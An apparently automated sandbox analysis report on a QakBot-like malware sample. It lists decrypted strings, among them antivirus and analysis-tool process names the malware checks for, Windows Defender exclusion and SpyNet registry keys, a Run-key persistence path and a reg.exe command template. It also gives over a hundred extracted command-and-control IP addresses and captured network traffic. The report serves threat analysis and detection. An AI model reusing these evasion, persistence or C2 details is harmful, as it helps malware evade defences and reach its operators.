Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: urlmon.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Create
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_PnPEntity
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\grpconv.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Initializing database...
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\SearchIndexer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: winsta0\default
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: .dat
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: WBJ_IGNORE
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: next
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\AtBroker.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: wpcap.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: aaebcdeeifghiiojklmnooupqrstuuyvwxyyaz
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\sethc.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: image/pjpeg
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: fmon.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: bdagent.exe;vsserv.exe;vsservppl.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\SndVol.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: vbs
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: aswhooka.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SysWOW64
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\mspaint.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: mpr.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: image/gif
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: crypt32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ntdll.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: open
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: CSFalconService.exe;CSFalconContainer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\wextract.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\mobsync.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\SearchIndexer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %u.%u.%u.%u.%u.%u.%04x
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SystemRoot
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: cscript.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: MBAMService.exe;mbamgui.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\xwizard.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\wermgr.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: AvastSvc.exe;aswEngSrv.exe;aswToolsSvc.exe;afwServ.exe;aswidsagent.exe;AvastUI.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: C:\INTERNAL\__empty
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: .dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_PhysicalMemory
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ALLUSERSPROFILE
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: image/jpeg
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: LocalLow
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: displayName
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Mozilla/5.0 (Windows NT 6.1; rv:77.0) Gecko/20100101 Firefox/77.0
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: shlwapi.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\WerFault.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: CommandLine
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: kernel32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SubmitSamplesConsent
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: 1234567890
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: wbj.go
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\wextract.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_DiskDrive
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: vkise.exe;isesrv.exe;cmdagent.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: System32
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Name
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\WerFault.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: WRSA.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: c:\\
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: reg.exe ADD "HKLM\%s" /f /t %s /v "%s" /d "%s"
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SpyNetReporting
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: FALSE
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: aswhookx.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Packages
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SonicWallClientProtectionService.exe;SWDash.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: application/x-shockwave-flash
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Sophos UI.exe;SophosUI.exe;SAVAdminService.exe;SavService.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: RepUx.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\mspaint.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Winsta0
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Caption,Description,DeviceID,Manufacturer,Name,PNPDeviceID,Service,Status
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: CynetEPS.exe;CynetMS.exe;CynetConsole.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\wermgr.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %ProgramFiles(x86)%\Internet Explorer\iexplore.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: avp.exe;kavtray.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: root\SecurityCenter2
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\backgroundTaskHost.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: MsMpEng.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\CertEnrollCtrl.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: userenv.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: csc_ui.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: frida-winjector-helper-32.exe;frida-winjector-helper-64.exe;tcpdump.exe;windump.exe;ethereal.exe;wireshark.exe;ettercap.exe;rtsniff.exe;packetcapture.exe;capturenet.exe;qak_proxy;dumpcap.exe;CFF Explorer.exe;not_rundll32.exe;ProcessHacker.exe;tcpview.exe;filemon.exe;procmon.exe;idaq64.exe;loaddll32.exe;PETools.exe;ImportREC.exe;LordPE.exe;SysInspector.exe;proc_analyzer.exe;sysAnalyzer.exe;sniff_hit.exe;joeboxcontrol.exe;joeboxserver.exe;ResourceHacker.exe;x64dbg.exe;Fiddler.exe;sniff_hit.exe;sysAnalyzer.exe;BehaviorDumper.exe;processdumperx64.exe;anti-virus.EXE;sysinfoX64.exe;sctoolswrapper.exe;sysinfoX64.exe;FakeExplorer.exe;apimonitor-x86.exe;idaq.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: \\.\pipe\
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: pstorec.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: NTUSER.DAT
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: from
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\sethc.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: netapi32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\Utilman.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: gdi32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: setupapi.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SELECT * FROM Win32_Processor
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: iphlpapi.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Caption
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: CrAmTray.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ccSvcHst.exe;NortonSecurity.exe;nsWscSvc.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_ComputerSystem
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\backgroundTaskHost.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %ProgramFiles%\Internet Explorer\iexplore.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: user32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: xagtnotif.exe;AppUIMonitor.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\dxdiag.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SentinelServiceHost.exe;SentinelStaticEngine.exe;SentinelAgent.exe;SentinelStaticEngineScanner.exe;SentinelUI.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: \sf2.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\grpconv.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: egui.exe;ekrn.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Software\Microsoft
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %S.%06d
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: bcrypt.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SELECT * FROM AntiVirusProduct
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\SndVol.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\Utilman.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\SpyNet
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: wtsapi32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: t=%s time=[%02d:%02d:%02d-%02d/%02d/%d]
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\xwizard.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: shell32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: TRUE
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_Bios
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SELECT * FROM Win32_OperatingSystem
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\mobsync.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: c:\hiberfil.sysss
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: /
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\AtBroker.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ByteFence.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: type=0x%04X
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: snxhk_border_mywnd
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ROOT\CIMV2
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: dwengine.exe;dwarkdaemon.exe;dwwatcher.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: https
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: fshoster32.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: kernelbase.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: regsvr32.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %s\system32\
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\dxdiag.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_Process
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: rundll32.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: LOCALAPPDATA
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: cmd.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: APPDATA
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: select
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: .exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: mcshield.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: advapi32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ws2_32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: .cfg
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: aabcdeefghiijklmnoopqrstuuvwxyyz
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_Product
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: WQL
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: wininet.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: LastBootUpTime
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: S:(ML;;NW;;;LW)
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\CertEnrollCtrl.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: urlmon.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Create
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_PnPEntity
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\grpconv.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Initializing database...
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\SearchIndexer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: winsta0\default
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: .dat
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: WBJ_IGNORE
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: next
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\AtBroker.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: wpcap.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: aaebcdeeifghiiojklmnooupqrstuuyvwxyyaz
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\sethc.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: image/pjpeg
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: fmon.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: bdagent.exe;vsserv.exe;vsservppl.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\SndVol.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: vbs
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: aswhooka.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SysWOW64
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\mspaint.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: mpr.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: image/gif
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: crypt32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ntdll.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: open
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: CSFalconService.exe;CSFalconContainer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\wextract.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\mobsync.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\SearchIndexer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName

Source: unknown	HTTPS traffic detected: 217.195.153.225:443 -> 192.168.2.3:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 72.163.4.185:443 -> 192.168.2.3:49703 version: TLS 1.2

Source:	Binary string: ExtendScript.pdb source: rundll32.exe, 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmp, main.dll.1.dr
Source:	Binary string: ExtendScript.pdb source: rundll32.exe, 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmp, main.dll.1.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 24.234.220.88:990
Source: Malware configuration extractor	IPs: 70.28.50.223:2078
Source: Malware configuration extractor	IPs: 96.56.197.26:2083
Source: Malware configuration extractor	IPs: 103.123.223.133:443
Source: Malware configuration extractor	IPs: 83.249.198.100:2222
Source: Malware configuration extractor	IPs: 199.27.66.213:443
Source: Malware configuration extractor	IPs: 90.104.151.37:2222
Source: Malware configuration extractor	IPs: 94.204.202.106:443
Source: Malware configuration extractor	IPs: 72.205.104.134:443
Source: Malware configuration extractor	IPs: 65.95.141.84:2222
Source: Malware configuration extractor	IPs: 70.28.50.223:2078
Source: Malware configuration extractor	IPs: 82.131.141.209:443
Source: Malware configuration extractor	IPs: 77.126.99.230:443
Source: Malware configuration extractor	IPs: 71.38.155.217:443
Source: Malware configuration extractor	IPs: 205.237.67.69:995
Source: Malware configuration extractor	IPs: 84.215.202.8:443
Source: Malware configuration extractor	IPs: 24.234.220.88:465
Source: Malware configuration extractor	IPs: 76.178.148.107:2222
Source: Malware configuration extractor	IPs: 116.74.163.130:443
Source: Malware configuration extractor	IPs: 70.28.50.223:2087
Source: Malware configuration extractor	IPs: 147.147.30.126:2222
Source: Malware configuration extractor	IPs: 173.88.135.179:443
Source: Malware configuration extractor	IPs: 103.140.174.20:2222
Source: Malware configuration extractor	IPs: 77.86.98.236:443
Source: Malware configuration extractor	IPs: 92.149.250.113:2222
Source: Malware configuration extractor	IPs: 96.87.28.170:2222
Source: Malware configuration extractor	IPs: 86.168.210.41:443
Source: Malware configuration extractor	IPs: 176.142.207.63:443
Source: Malware configuration extractor	IPs: 12.172.173.82:32101
Source: Malware configuration extractor	IPs: 86.132.236.117:443
Source: Malware configuration extractor	IPs: 70.50.83.216:2222
Source: Malware configuration extractor	IPs: 161.142.103.187:995
Source: Malware configuration extractor	IPs: 45.62.70.33:443
Source: Malware configuration extractor	IPs: 12.172.173.82:465
Source: Malware configuration extractor	IPs: 178.175.187.254:443
Source: Malware configuration extractor	IPs: 83.110.223.61:443
Source: Malware configuration extractor	IPs: 105.184.209.194:995
Source: Malware configuration extractor	IPs: 41.186.88.38:443
Source: Malware configuration extractor	IPs: 102.156.10.183:443
Source: Malware configuration extractor	IPs: 27.109.19.90:2078
Source: Malware configuration extractor	IPs: 47.205.25.170:443
Source: Malware configuration extractor	IPs: 12.172.173.82:993
Source: Malware configuration extractor	IPs: 76.170.252.153:995
Source: Malware configuration extractor	IPs: 69.242.31.249:443
Source: Malware configuration extractor	IPs: 24.234.220.88:995
Source: Malware configuration extractor	IPs: 125.99.69.178:443
Source: Malware configuration extractor	IPs: 79.168.224.165:2222
Source: Malware configuration extractor	IPs: 75.143.236.149:443
Source: Malware configuration extractor	IPs: 14.192.241.76:995
Source: Malware configuration extractor	IPs: 124.122.47.148:443
Source: Malware configuration extractor	IPs: 81.229.117.95:2222
Source: Malware configuration extractor	IPs: 98.145.23.67:443
Source: Malware configuration extractor	IPs: 114.143.176.236:443
Source: Malware configuration extractor	IPs: 103.144.201.48:2078
Source: Malware configuration extractor	IPs: 122.186.210.254:443
Source: Malware configuration extractor	IPs: 69.160.121.6:61201
Source: Malware configuration extractor	IPs: 12.172.173.82:21
Source: Malware configuration extractor	IPs: 72.253.126.216:443
Source: Malware configuration extractor	IPs: 75.109.111.89:443
Source: Malware configuration extractor	IPs: 76.86.31.59:443
Source: Malware configuration extractor	IPs: 116.120.145.170:995
Source: Malware configuration extractor	IPs: 12.172.173.82:50001
Source: Malware configuration extractor	IPs: 81.101.185.146:443
Source: Malware configuration extractor	IPs: 201.244.108.183:995
Source: Malware configuration extractor	IPs: 68.203.69.96:443
Source: Malware configuration extractor	IPs: 103.139.242.6:443
Source: Malware configuration extractor	IPs: 103.42.86.42:995
Source: Malware configuration extractor	IPs: 85.61.165.153:2222
Source: Malware configuration extractor	IPs: 76.16.49.134:443
Source: Malware configuration extractor	IPs: 125.99.76.102:443
Source: Malware configuration extractor	IPs: 184.182.66.109:443
Source: Malware configuration extractor	IPs: 70.28.50.223:32100
Source: Malware configuration extractor	IPs: 50.68.204.71:993
Source: Malware configuration extractor	IPs: 85.57.212.13:3389
Source: Malware configuration extractor	IPs: 41.227.190.59:443
Source: Malware configuration extractor	IPs: 70.28.50.223:3389
Source: Malware configuration extractor	IPs: 31.53.29.235:2222
Source: Malware configuration extractor	IPs: 89.79.229.50:443
Source: Malware configuration extractor	IPs: 50.68.186.195:443
Source: Malware configuration extractor	IPs: 47.199.241.39:443
Source: Malware configuration extractor	IPs: 93.147.235.8:443
Source: Malware configuration extractor	IPs: 75.141.227.169:443
Source: Malware configuration extractor	IPs: 45.243.142.31:995
Source: Malware configuration extractor	IPs: 79.92.15.6:443
Source: Malware configuration extractor	IPs: 85.104.105.67:443
Source: Malware configuration extractor	IPs: 89.129.109.27:2222
Source: Malware configuration extractor	IPs: 86.176.83.44:2222
Source: Malware configuration extractor	IPs: 24.234.220.88:993
Source: Malware configuration extractor	IPs: 89.32.156.5:995
Source: Malware configuration extractor	IPs: 12.172.173.82:22
Source: Malware configuration extractor	IPs: 103.101.203.177:443
Source: Malware configuration extractor	IPs: 70.28.50.223:2083
Source: Malware configuration extractor	IPs: 98.187.21.2:443
Source: Malware configuration extractor	IPs: 70.49.205.198:2222
Source: Malware configuration extractor	IPs: 96.56.197.26:2222
Source: Malware configuration extractor	IPs: 92.9.45.20:2222
Source: Malware configuration extractor	IPs: 86.195.14.72:2222
Source: Malware configuration extractor	IPs: 172.115.17.50:443
Source: Malware configuration extractor	IPs: 100.4.163.158:2222
Source: Malware configuration extractor	IPs: 80.12.88.148:2222
Source: Malware configuration extractor	IPs: 213.64.33.92:2222
Source: Malware configuration extractor	IPs: 113.11.92.30:443
Source: Malware configuration extractor	IPs: 78.192.109.105:2222
Source: Malware configuration extractor	IPs: 47.34.30.133:443
Source: Malware configuration extractor	IPs: 122.184.143.86:443
Source: Malware configuration extractor	IPs: 198.2.51.242:993
Source: Malware configuration extractor	IPs: 165.120.169.171:2222
Source: Malware configuration extractor	IPs: 88.126.94.4:50000
Source: Malware configuration extractor	IPs: 82.125.44.236:2222
Source: Malware configuration extractor	IPs: 117.195.17.148:993
Source: Malware configuration extractor	IPs: 147.219.4.194:443
Source: Malware configuration extractor	IPs: 80.167.196.79:443
Source: Malware configuration extractor	IPs: 92.154.17.149:2222
Source: Malware configuration extractor	IPs: 184.181.75.148:443
Source: Malware configuration extractor	IPs: 95.45.50.93:2222
Source: Malware configuration extractor	IPs: 84.35.26.14:995
Source: Malware configuration extractor	IPs: 201.143.215.69:443
Source: Malware configuration extractor	IPs: 12.172.173.82:2087
Source: Malware configuration extractor	IPs: 50.68.204.71:443
Source: Malware configuration extractor	IPs: 64.121.161.102:443

Source: Joe Sandbox View

ASN Name: CHARTER-20115US CHARTER-20115US

Source: Joe Sandbox View

JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad

Source: Joe Sandbox View

IP Address: 75.143.236.149 75.143.236.149

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: cisco.comCache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.2.3:49705 -> 103.144.201.48:2078

